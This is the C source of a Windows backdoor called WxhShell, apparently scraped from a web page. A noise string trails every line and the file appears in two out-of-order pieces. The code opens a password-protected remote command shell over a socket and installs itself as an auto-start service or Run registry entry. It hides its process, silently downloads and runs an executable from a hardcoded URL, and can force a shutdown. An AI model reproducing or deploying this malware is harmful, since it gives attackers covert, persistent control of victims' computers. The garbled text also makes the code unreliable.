    if(Boot(SHUTDOWN)) q1^bH 6*fl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HfOaJ'+e<  
    else { ;No i H&  
    closesocket(wsh); MZrLLnl6\  
    ExitThread(0); 5)c B\N1u  
    } V3S"LJ  
    break; `uwSxt  
    } ZGw 6Bd_I  
  // 获取shell X :#}E7]j  
  case 's': { v)j3YhY  
    CmdShell(wsh); l5 T0x=y9!  
    closesocket(wsh); u?4d<%5R!  
    ExitThread(0); 1Y:JGon  
    break; 2!)|B ;y  
  } Vl^p3f[  
  // 退出 %ONU0xtqk  
  case 'x': { s?JOGu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FrsXLUY  
    CloseIt(wsh); a9uMgx}  
    break; z8dBfA<z  
    } :bq$ {  
  // 离开 >:bXw#w]  
  case 'q': { ;uho.)%N`F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /pC60y}O0  
    closesocket(wsh); QQ/9ZI5  
    WSACleanup(); R('\i/fy  
    exit(1); mwMcAUD]2  
    break; vX?C9Fr2  
        } _oHxpeM  
  } (sW$2a  
  } Doe:m#aNj  
v*kX?J#]5  
  // 提示信息 '=+gwe M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A6 I^`0/  
} zWrynJ}s  
  } cpm *m"Nk  
GM Y[Gd  
  return; ;v!Ef"E|cV  
} Byh!Snoe  
,T-xuNYC  
// shell模块句柄 !y862oKD  
int CmdShell(SOCKET sock) OD~yIV  
{ Uuktq)NU  
STARTUPINFO si; kZ0z]Y  
ZeroMemory(&si,sizeof(si)); ezA&cZ5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WQ9VcCY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6n\){dkZ~  
PROCESS_INFORMATION ProcessInfo; ~ %Ij5PD  
char cmdline[]="cmd"; _U o3_us  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &"=O!t2  
  return 0; e35")z~  
} 4WPco"xH!  
iGBHlw;A  
// 自身启动模式 lSy_cItF  
int StartFromService(void) S rhBU6K  
{ &w{z  
typedef struct S3Fj /2Q8  
{ xiVbVr#[  
  DWORD ExitStatus; +.v+Opp,  
  DWORD PebBaseAddress; 6A4{6B  
  DWORD AffinityMask; 4 g8t  
  DWORD BasePriority; PB #EU 9  
  ULONG UniqueProcessId; YpvFv-  
  ULONG InheritedFromUniqueProcessId; `j'gt&  
}   PROCESS_BASIC_INFORMATION; zpy&\#Vc  
L?(m5u~b  
PROCNTQSIP NtQueryInformationProcess; N_p^DP   
lr[&*v?h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @2eH;?uO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uFG ;AY|  
qxHsmGV  
  HANDLE             hProcess; G{.A5{  
  PROCESS_BASIC_INFORMATION pbi; KssIoP   
-AXMT3p=1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b{,vZhP-  
  if(NULL == hInst ) return 0; [bEm D  
n*hRlL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XeozRfk%J|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^mZTki4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9$^v*!<z\  
*jl_,0g]  
  if (!NtQueryInformationProcess) return 0; 8u Z4[  
(N{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )J&!>GP  
  if(!hProcess) return 0; PU%WpI.w  
.-: 6L2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4OdK@+-8U  
S4%MnT6Uy  
  CloseHandle(hProcess); |bmc6G[  
9R|B 5.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hF-X8$[  
if(hProcess==NULL) return 0; p+R8Mo;I  
yXA]E.K!  
HMODULE hMod; C5oIl_t  
char procName[255]; !n5s/"'H  
unsigned long cbNeeded; h_h6@/1l  
e7gWz~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @0rwvyE=+3  
9rQpKq:# E  
  CloseHandle(hProcess); "O{:jfq  
,_yf5 a  
if(strstr(procName,"services")) return 1; // 以服务启动 \J^|H@;(@  
PRF^<%mkI  
  return 0; // 注册表启动 V %Rz(a+c  
} VUGVIy.  
rDWqJ<8  
// 主模块 `'<&<P  
int StartWxhshell(LPSTR lpCmdLine) dNcP_l/A  
{ f<G:}I  
  SOCKET wsl; ~0@+8%^>;  
BOOL val=TRUE; SwPc<Z?P  
  int port=0; @Y2&v956  
  struct sockaddr_in door; c6)q(zz  
: S |)  
  if(wscfg.ws_autoins) Install(); nxh9'"th  
9}6^5f?|  
port=atoi(lpCmdLine); !'EE8Tp~F  
hgi9%>o UB  
if(port<=0) port=wscfg.ws_port; y|@=j~}Zq  
6?c(ueiL[  
  WSADATA data; .4wp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,, G6L{&Z  
tJ9i{TS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `Z0#IeX=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]%5DuE\M8\  
  door.sin_family = AF_INET; OVm $  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]n:)W.|`R  
  door.sin_port = htons(port); Y-WY Q{  
+}@HtjM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \'40u|f  
closesocket(wsl); T+[N-"N  
return 1; N5=; PZub  
} ]l'W=_XDg  
|0mVK`  
  if(listen(wsl,2) == INVALID_SOCKET) { ]S~Z8T-[  
closesocket(wsl); WeTsva+  
return 1; $Q|t^(  
} +`x8[A)-  
  Wxhshell(wsl); QMfa~TH#p  
  WSACleanup(); _azg 0.)  
)[>b7K$f  
return 0;  mq?5|`  
,"u-V<>6O  
} o~F @1  
Vet7a_  
// 以NT服务方式启动 2Ek6YNx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \z<B=RT\  
{ pCNihZ~  
DWORD   status = 0; ":*PC[)W  
  DWORD   specificError = 0xfffffff; "| <\\HR  
+!V*{<K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u|7d_3 ::  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8Z!+1b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F+_4Q  
  serviceStatus.dwWin32ExitCode     = 0; !p1OBS|  
  serviceStatus.dwServiceSpecificExitCode = 0; 7{ :| )  
  serviceStatus.dwCheckPoint       = 0; ](vsh gp2  
  serviceStatus.dwWaitHint       = 0; @M?N[LG  
R v6{ '\:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a4X J0Tm  
  if (hServiceStatusHandle==0) return; mk1;22o{TX  
 c/I.`@  
status = GetLastError(); 8h~v%aZ1  
  if (status!=NO_ERROR) [SgP1>M  
{ 0i9y-32-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E) >~0jv  
    serviceStatus.dwCheckPoint       = 0; #H(|+WEu  
    serviceStatus.dwWaitHint       = 0; "TKf" zc  
    serviceStatus.dwWin32ExitCode     = status; =O w}MX  
    serviceStatus.dwServiceSpecificExitCode = specificError; <oPo?r|oM|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jcN84AaRFI  
    return; f 5_n2  
  } '!Vn  
\w^iSK-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }#q9>gx  
  serviceStatus.dwCheckPoint       = 0; : KZI+  
  serviceStatus.dwWaitHint       = 0; q~r )B}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 52tIe|KwL  
} qI<6% ^i  
FqQm *k_  
// 处理NT服务事件,比如:启动、停止 yEtSyb~GK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Zjnf6d]  
{ |t|+pBB  
switch(fdwControl) m1VyYG  
{ 8[ 1D4d  
case SERVICE_CONTROL_STOP: 42:\1B#[  
  serviceStatus.dwWin32ExitCode = 0; /+P 4cHv]F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q0!gTV  
  serviceStatus.dwCheckPoint   = 0; 4kNf4l9Y  
  serviceStatus.dwWaitHint     = 0; e\k=T}  
  { $B*Ek>EK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -fz |  
  } z*l3O~mZ  
  return; vX)JJ|g  
case SERVICE_CONTROL_PAUSE: hv}rA,Yd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EkEM|<GNd  
  break; : +/V  
case SERVICE_CONTROL_CONTINUE: g[44YrRD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q0.+F4  
  break; z;GnQfYG  
case SERVICE_CONTROL_INTERROGATE:  ]P(:z  
  break; wZh&w<l'  
}; h5U@Ys  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yW^[{)V 3%  
} i RS )Z )  
|J'@-*5?[8  
// 标准应用程序主函数 Cv>|>Ob#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dfiA- h  
{ `ndesP  
IwKhun  
// 获取操作系统版本 xpx=t71Hq  
OsIsNt=GetOsVer(); \$/)o1SG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7!#x-KR~5  
M3odyO(  
  // 从命令行安装 LpGplD lB  
  if(strpbrk(lpCmdLine,"iI")) Install(); 93XTumpV  
A9Q!V01_  
  // 下载执行文件 _Buwz_[&  
if(wscfg.ws_downexe) { =GL}\I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hq6fDRO/4  
  WinExec(wscfg.ws_filenam,SW_HIDE); X,IjM&o"Y  
} z~L''X7g  
zu5'Ex`gQa  
if(!OsIsNt) { sNc(aGvy  
// 如果时win9x,隐藏进程并且设置为注册表启动 `ky< *  
HideProc(); TUIj-HSe  
StartWxhshell(lpCmdLine); d=o|)kV  
} yMq&9R9F  
else (8TB*BhQ_  
  if(StartFromService()) >N@tInE  
  // 以服务方式启动 K:Wxx "  
  StartServiceCtrlDispatcher(DispatchTable); `utv@9 _z  
else jGl8y!aM  
  // 普通方式启动  U":hJ*F)  
  StartWxhshell(lpCmdLine); 8>x!n/z)  
uz-,)  
return 0; 9h> nP8  
} [9(tIb!x  
CL.JalR`b  
K*&M:u6E  
B8UtD  
=========================================== 'MRvH lCM  
_ui03veA1  
+~?ze,Di  
cjAKc|NJ  
<cNXe4(  
^E\{&kaUp  
" 3sIW4Cs7)U  
ZQXv-"  
#include <stdio.h> 1j0OV9-|  
#include <string.h> 4e~^G  
#include <windows.h> 6E/>]3~!  
#include <winsock2.h> "RMBV}<T  
#include <winsvc.h> W^npzgDCo  
#include <urlmon.h> BZejqDr*  
s0uI;WMg  
#pragma comment (lib, "Ws2_32.lib") M #'br<]  
#pragma comment (lib, "urlmon.lib") L9Sd4L_e  
r8g4NsRVtv  
#define MAX_USER   100 // 最大客户端连接数 TG7Ba[%  
#define BUF_SOCK   200 // sock buffer rqW[B/a{  
#define KEY_BUFF   255 // 输入 buffer *vt5dxB  
QA>(}u\+  
#define REBOOT     0   // 重启 .Uq?SmK  
#define SHUTDOWN   1   // 关机 b~fX=!M  
A}WRpsA9  
#define DEF_PORT   5000 // 监听端口 Mx{VN P  
6(awO2{BP  
#define REG_LEN     16   // 注册表键长度 JLUG=x(dA  
#define SVC_LEN     80   // NT服务名长度 R)i  
]T|9>o!  
// 从dll定义API uT'_}cw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H,,-;tN?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BCsz8U!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  W%LTcm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <"A|Xv'Q  
!<r+h, C  
// wxhshell配置信息 8 2qf7`  
struct WSCFG { 6BM[RL?T  
  int ws_port;         // 监听端口 PN9^ sLx=  
  char ws_passstr[REG_LEN]; // 口令 5tPBTS<<"L  
  int ws_autoins;       // 安装标记, 1=yes 0=no f!6oW(r-L  
  char ws_regname[REG_LEN]; // 注册表键名 (ii6w d< *  
  char ws_svcname[REG_LEN]; // 服务名 uD4=1g6[s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VD}8ei  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q#C;4)e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r~cmrLQa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gXr"],OM;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~RcI+jR)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b3(pRg[Fp  
C!Cg.^;  
}; W>C!V  
tP; &$y.8  
// default Wxhshell configuration yM dEH-?/  
struct WSCFG wscfg={DEF_PORT, vZV+24YWb  
    "xuhuanlingzhe", XL[/)lX{  
    1, JQ{ g' cT  
    "Wxhshell", D'V0b"  
    "Wxhshell",  !sda6?&  
            "WxhShell Service", whb|N2  
    "Wrsky Windows CmdShell Service", 4d&#NP  
    "Please Input Your Password: ", kp3(/`xP  
  1, [NcS[*qp  
  "http://www.wrsky.com/wxhshell.exe",  w0QN5?  
  "Wxhshell.exe" mv@cGdxu  
    }; F#=XJYG1  
1-Fg_G}|6  
// 消息定义模块 <>aBmJs4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b *IJ +  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PfX{n5yBW8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j,Sg?&"%=  
char *msg_ws_ext="\n\rExit."; wu?ahNb.`Y  
char *msg_ws_end="\n\rQuit."; ,4y' (DA  
char *msg_ws_boot="\n\rReboot..."; EubR] ckB  
char *msg_ws_poff="\n\rShutdown..."; \RN,i]c-g/  
char *msg_ws_down="\n\rSave to "; qh Ezv~  
eeIh }t>[  
char *msg_ws_err="\n\rErr!"; $iQ>c6  
char *msg_ws_ok="\n\rOK!"; I( BG%CO9  
y e!Bfz>  
char ExeFile[MAX_PATH]; tB.;T0n  
int nUser = 0; h}xUZ:  
HANDLE handles[MAX_USER]; )/k0*:OMyO  
int OsIsNt; Hh @q;0ni  
Du3OmXMk  
SERVICE_STATUS       serviceStatus; Hv%(9)-8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ln.kEhQ3B  
WujIaJt-  
// 函数声明 2&91C[da0  
int Install(void); \C.%S +u  
int Uninstall(void); dJ\6m!Mp  
int DownloadFile(char *sURL, SOCKET wsh); Z+ubc"MVb  
int Boot(int flag); *ggTTHy  
void HideProc(void);  iU^ 4a  
int GetOsVer(void); O%v(~&OSl  
int Wxhshell(SOCKET wsl); 1!8*mk_R{  
void TalkWithClient(void *cs); `7jm   
int CmdShell(SOCKET sock); TRz~rW k  
int StartFromService(void); Wm:3_C +j  
int StartWxhshell(LPSTR lpCmdLine); "FQh^+  
>`*iM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [i[G" %Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x( w <U1  
O;[PEV ~  
// 数据结构和表定义 sb4)@/Q7j  
SERVICE_TABLE_ENTRY DispatchTable[] = .G+}Kn9!  
{ Qv8#{y@U  
{wscfg.ws_svcname, NTServiceMain}, <mHptgd,  
{NULL, NULL} cb&y8!ci~  
}; e<5+&Cj  
*F:]mgg  
// 自我安装 :{4G= UbAI  
int Install(void) qt]QO1pAd  
{ DjOFfD\MF  
  char svExeFile[MAX_PATH]; 567ot|cc  
  HKEY key; 9BI5qHEp  
  strcpy(svExeFile,ExeFile); w|WZEu:0|  
c Yx=8~-  
// 如果是win9x系统,修改注册表设为自启动 *p?b"{_a  
if(!OsIsNt) { ;TSnIC)c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X2@mQ&n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f<SSg* A;  
  RegCloseKey(key); ,<hXNN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5K'EuI)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |U nTd$m  
  RegCloseKey(key); !Go(8`>  
  return 0; SUD]Wl7G`r  
    } ?y<n^`  
  } Oi BK  
} e::5|6x  
else { ?^BsR  
d\;M F  
// 如果是NT以上系统,安装为系统服务 @PwEom`a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %>I!mD"X\  
if (schSCManager!=0) 1\YX|  
{ 1)_f9GR  
  SC_HANDLE schService = CreateService V EY!0PIj  
  ( D\({]oj]  
  schSCManager, q,nj|9z V  
  wscfg.ws_svcname, 1bzPBi  
  wscfg.ws_svcdisp, *XH?|SV  
  SERVICE_ALL_ACCESS, q 4 Ye  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7]e]Y>wZap  
  SERVICE_AUTO_START, { w!}:8p  
  SERVICE_ERROR_NORMAL, wT*N{).  
  svExeFile, VPN@q<BV  
  NULL, eg(xN/D  
  NULL, +Yi=W o/  
  NULL, zN5i}U=|r  
  NULL, Dj!J 4uD  
  NULL Slv}6at5  
  ); #S<>+,Lk  
  if (schService!=0) 8w2+t>?  
  { :Hd?0eZ|  
  CloseServiceHandle(schService); &)s A(  
  CloseServiceHandle(schSCManager); =Rb,`%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \XRViG,|5  
  strcat(svExeFile,wscfg.ws_svcname); >5^Z'!Z"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z?nMt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {qLnwy!i  
  RegCloseKey(key); J|xqfY@+  
  return 0; f7s]:n*Ih  
    } EiJSLL  
  } O)9T|, U  
  CloseServiceHandle(schSCManager); yvH:U5%  
} _|A)ueY  
} uN$X3Ls_  
W;KHLHp-  
return 1; W 8E<P y  
} "sg$[)I3n  
; $y.+5 q  
// 自我卸载 :nwcO3~`  
int Uninstall(void) a 3O_8GU  
{ -q+Fj;El  
  HKEY key; MH !CzV&  
u8?ceM^r  
if(!OsIsNt) { ;OdUH   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r`S]`&#}(  
  RegDeleteValue(key,wscfg.ws_regname); Qy6Avw/$  
  RegCloseKey(key); QT|mN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Q$$2QW!  
  RegDeleteValue(key,wscfg.ws_regname); |_w*:NCV5  
  RegCloseKey(key); KO5Q;H  
  return 0; "V9!srIC  
  } sL\|y38'  
} ?L'k2J  
} Y^6=_^  
else { *g=*}2  
55!9U:{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f ~Fus  
if (schSCManager!=0) +-.BF"}  
{ BR0bf5T/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lqch~@E&%#  
  if (schService!=0) XkK16aLE  
  { _X]?  
  if(DeleteService(schService)!=0) { <=7p~ i5  
  CloseServiceHandle(schService); aoJ&< vl3  
  CloseServiceHandle(schSCManager); |2oB3 \)/  
  return 0; |RjjP 7  
  } S((8DSt*  
  CloseServiceHandle(schService); gq0gr?  
  } lhjPS!A~  
  CloseServiceHandle(schSCManager); I 9u=RI s  
} qkBnEPWZy  
} )b-G2< kb  
kh5V&%>?  
return 1; 'rF TtT  
} 1/fvk  
Kp&d9e{ Yc  
// 从指定url下载文件 J`V6zGgW  
int DownloadFile(char *sURL, SOCKET wsh) z[k2&=c  
{ :5Vu.\,1  
  HRESULT hr; au7BqV!uL  
char seps[]= "/"; w%ip"GT,  
char *token; Zn^E   
char *file; -5qO}^i$a  
char myURL[MAX_PATH]; 1rKR=To  
char myFILE[MAX_PATH]; y>#j4%D~4  
zH_q6@4  
strcpy(myURL,sURL); \vT8 )\  
  token=strtok(myURL,seps); E?zp?t:a  
  while(token!=NULL) _AO0:&  
  { ~q4y'dBy*  
    file=token; K)14v;@  
  token=strtok(NULL,seps); 4 '+)9&g  
  } $wN.~"T  
Z/I!\  
GetCurrentDirectory(MAX_PATH,myFILE); '|cuVxcE55  
strcat(myFILE, "\\"); %z2nas$$g  
strcat(myFILE, file); td m{ V st  
  send(wsh,myFILE,strlen(myFILE),0); O3_Mrn(R  
send(wsh,"...",3,0); ENmo^O#,u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V|D;7  
  if(hr==S_OK) Z  b1v  
return 0; OYzJE@r^  
else & p%,+|  
return 1; YU"Am !  
;e{2?}#8&  
} @N(jd($E  
gPf aiVY  
// 系统电源模块 Cse0!7_T  
int Boot(int flag) [0}471  
{ EW!$D  
  HANDLE hToken; 0{ ,zE  
  TOKEN_PRIVILEGES tkp; V?"^Ff3m!  
d!d 3r W;A  
  if(OsIsNt) { Dux`BKl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m^=, RfUUd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NqWHR~&  
    tkp.PrivilegeCount = 1; \w:u&6,0O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ceOjuzY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); . 9 NS  
if(flag==REBOOT) { sH]AB =_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `~RV  
  return 0; ? vlGr5#  
} $i1A470C  
else { 2eK\$_b_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6?lg 6a/eO  
  return 0; W(8g3  
} d3$<|mG$  
  } =oTYwU  
  else { v Y\O=TZT  
if(flag==REBOOT) { A)#sh) }Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c>R(Fs|6  
  return 0;  LJ))  
} =4 D_-Q  
else { oD7H6\_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HLk"a-+'  
  return 0; GW#kaqC1  
} 16y$;kf8  
} p^:Lj9Qax  
U{_s1  
return 1; iK]g3ew|  
} VB\6S G  
M;Rw]M  
// win9x进程隐藏模块 of`]LU:  
void HideProc(void) >FHsZKJ  
{ c #!6  
:U q]~e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?>8zU;Aj  
  if ( hKernel != NULL ) \?^wu  
  { ;5k|gW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K)+l6Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F"H!CJJu&  
    FreeLibrary(hKernel); Z ~9N  
  } |w2AB7EU  
0_ \ g  
return; =.oWguzu  
} ~BZV:Es  
\#jDQ  
// 获取操作系统版本 .^S78hr]n  
int GetOsVer(void) $0SZlq>En  
{ 1$VI\}  
  OSVERSIONINFO winfo; S1`0d9ds#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UMwMXmZNJ  
  GetVersionEx(&winfo); $jm<' 4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xg^^@o  
  return 1; %QgAilj,  
  else 5{0>7c|.  
  return 0; #ljg2:I+  
} Mgs|*u-5  
FqxOHovE  
// 客户端句柄模块 &jZ|@K?  
int Wxhshell(SOCKET wsl) }l?_Cfvu  
{ _ 1> 4Q%  
  SOCKET wsh; F6c[v|3  
  struct sockaddr_in client; DIp:S&q2  
  DWORD myID; @n X2*j*u  
~: <@`  
  while(nUser<MAX_USER) {dx /p-Tv  
{ _L'cyH.cn  
  int nSize=sizeof(client); Hq\E 06S@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gi2ad+QH-  
  if(wsh==INVALID_SOCKET) return 1; : KP'xf.  
AV 5\W}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E:4P1,%01+  
if(handles[nUser]==0) zO5u{  
  closesocket(wsh); BH0#Q5  
else !8@rK$DB  
  nUser++; EKd3$(^   
  } kad;Wa#h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $jed{N7Y  
#f3;}1(  
  return 0; uWB:"&!^  
} -iDEh_pts  
,J (5@8(>a  
// 关闭 socket CxA\yG3L&  
void CloseIt(SOCKET wsh) B.mbKntK)R  
{ .)@tXH=}+  
closesocket(wsh); myWmU0z/  
nUser--; .p(6' TYnI  
ExitThread(0); {eswe  
} B3>Uba*-)}  
Ku/H=  
// 客户端请求句柄 ~0F9x9V  
void TalkWithClient(void *cs) >1r[]&8  
{ 8PoHBOxpc  
C9mzg  
  SOCKET wsh=(SOCKET)cs; `  -[Bo  
  char pwd[SVC_LEN]; bwSRJFqb  
  char cmd[KEY_BUFF]; YQ @dl  
char chr[1]; =(.mf  
int i,j; up &NCX  
<E[HlL  
  while (nUser < MAX_USER) { (~G5t(+  
1<W4>~,wj  
if(wscfg.ws_passstr) { O2q=gYX>\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Db#W/8 a8k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5y%un  
  //ZeroMemory(pwd,KEY_BUFF); K_AtU/  
      i=0; x&R9${e%  
  while(i<SVC_LEN) { !dyxE'T2  
+~w?Xw,  
  // 设置超时 '&-5CpDUs  
  fd_set FdRead; {=bg5I0|a  
  struct timeval TimeOut; ~KAp\!,  
  FD_ZERO(&FdRead); j<ABO")v  
  FD_SET(wsh,&FdRead); GUu\dl9WA'  
  TimeOut.tv_sec=8; YPha9M$AgU  
  TimeOut.tv_usec=0; lL(p]!K'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fiE>H~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?iPZsV  
5)d,G9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p^KlH=1n.6  
  pwd=chr[0]; 0" U5oP[  
  if(chr[0]==0xd || chr[0]==0xa) { i?GfY C2q  
  pwd=0; tt6. jo  
  break; a=J@y K  
  } QKp+;$SE'  
  i++; ku/\16E/k  
    } 35Ai;mU'  
I~\O  
  // 如果是非法用户,关闭 socket zmrQf/y{R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (KT38RhA  
} jo9J%vo  
<|{L[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e[x?6He,$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /=8O&1=D  
w^06z,  
while(1) { FU_fCL8yA  
A",eS6  
  ZeroMemory(cmd,KEY_BUFF); PD6MyW05%9  
iYk':iv}S  
      // 自动支持客户端 telnet标准   i{o#3  
  j=0; .:w#&yM [U  
  while(j<KEY_BUFF) { @v>l[6]>^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3jvx2  
  cmd[j]=chr[0]; iuiAK  
  if(chr[0]==0xa || chr[0]==0xd) { P@qMJ}<j  
  cmd[j]=0; 89hF )80  
  break; _Zh2eXWdjM  
  } qBT_! )h   
  j++; KMUK`tbaI  
    } u@<Pu@?xm  
yC0C`oC  
  // 下载文件 C">`' G2  
  if(strstr(cmd,"http://")) { 6ayy[5tW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?q\FLb%"7  
  if(DownloadFile(cmd,wsh)) !n|#|.0m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ):e+dt  
  else %1Yz'AiW[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ov8 ByJc  
  } 8EOh0gk7  
  else { YPu9Q  
538fK9[  
    switch(cmd[0]) { G3G/ xC"  
  Z+ixRch@-s  
  // 帮助 KacR?Al  
  case '?': { *RBV'b  
